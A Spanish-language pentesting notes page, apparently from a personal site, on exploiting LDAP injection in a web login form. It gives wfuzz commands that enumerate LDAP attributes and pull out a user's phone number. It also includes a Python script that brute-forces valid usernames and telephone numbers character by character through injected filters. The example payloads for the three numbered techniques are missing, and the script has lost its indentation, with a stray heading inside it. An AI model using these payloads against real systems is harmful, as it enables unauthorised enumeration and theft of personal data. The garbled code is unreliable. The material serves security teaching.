> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/lightweight-directory-access-protocol-ldap-attack/ldap-techniques-pentesting-web.md).
# Técnicas LDAP
Aquí hay algunas formas de explotar esta vulnerabilidad:
1. Conociendo el **ID de usuario** y usando el símbolo /\* como contraseña (que representa todo):
2. Conociendo el **inicio del ID de usuario** y añadiendo luego el símbolo /\*:
3. Introduciendo un **ID de usuario válido** y comentando el campo requerido de la consulta de contraseña:
## Ataque de fuerza bruta:
* Con **Wfuzz**, podemos lanzar un ataque mediante **fuerza bruta** para identificar todos los **atributos**:
```bash
wfuzz -c --hh=550 -w /usr/share/SecLists/Fuzzing/LDAP-openldap-attributes.txt -d 'user_id=admin)(FUZZ=*))%00&password=*&login=1&submit=Submit' http://localhost:8888
```
Una vez que conocemos los atributos con **Wfuzz** y identificamos el **LDAP** punto de inyección en el campo de contraseña, podemos filtrar por el primer carácter. En este caso, lo hacemos con el **número de teléfono**:
```bash
wfuzz -c --hh=550 -z range,0-9 -d 'user_id=jordan)(telephoneNumber=FUZZ*))%00&password=*&login=1&submit=Submit' http://localhost:8888
```
## Script automatizado en Python:
```python
#!/usr/bin/python3
from pwn import *
import sys, signal, time, requests, pdb
import string
def def_handler(sig, frame):
print("/n/n[+] Saliendo.../n")
sys.exit(1)
# Técnicas LDAP
signal.signal(signal.SIGINT, def_handler)
# Técnicas LDAP
main_url = "http://localhost:8888/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
def initial_users():
characters = string.ascii_lowercase
initial_users = []
for character in characters:
post_data = 'user_id={}*&password=*&login=1&submit=Submit'.format(character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
initial_users.append(character)
return initial_users
def getUsers(initial_users):
characters = string.ascii_lowercase + string.digits
users = []
for initial_user in initial_users:
user = initial_user
for i in range(0, 15):
for character in characters:
post_data = 'user_id={}{}*&password=*&login=1&submit=Submit'.format(user, character)
r = requests.post(main_url, headers=headers, data=post_data, allow_redirects=False)
if r.status_code == 301:
user += character
break
users.append(user)
print("/n")
for user in users:
log.info('Usuario válido encontrado: %s' % user)
print("/n")
return users
def getTelephoneNumber(users):
characters = string.digits
telephone_numbers = []
p1 = log.progress("Obteniendo números de teléfono desde LDAP local")
p1.status("Iniciando la fuerza bruta")
p2 = log.progress("Obteniendo el número de teléfono")
for user in users:
telf = ''
for i in range(0, 9):
for character in characters:
post_data = 'user_id={})(telephoneNumber={}{}*))%00&password=testing&login=1&submit=Submit'.format(user, telf, character)
r = requests.post(main_url, data=post_data, headers=headers, allow_redirects=False)
p1.status("[+] Obteniendo el número de teléfono del usuario: %s | %s" % (user, post_data))
if r.status_code == 301:
telf += character
p2.status("Número de teléfono: %s" % telf)
break
telephone_numbers.append(telf)
p2.success("Los números obtenidos son: %s " % telephone_numbers)
if __name__ == "__main__":
initial_users = initial_users()
getUsers = getUsers(initial_users)
getTelephoneNumber = getTelephoneNumber(getUsers)
```
---
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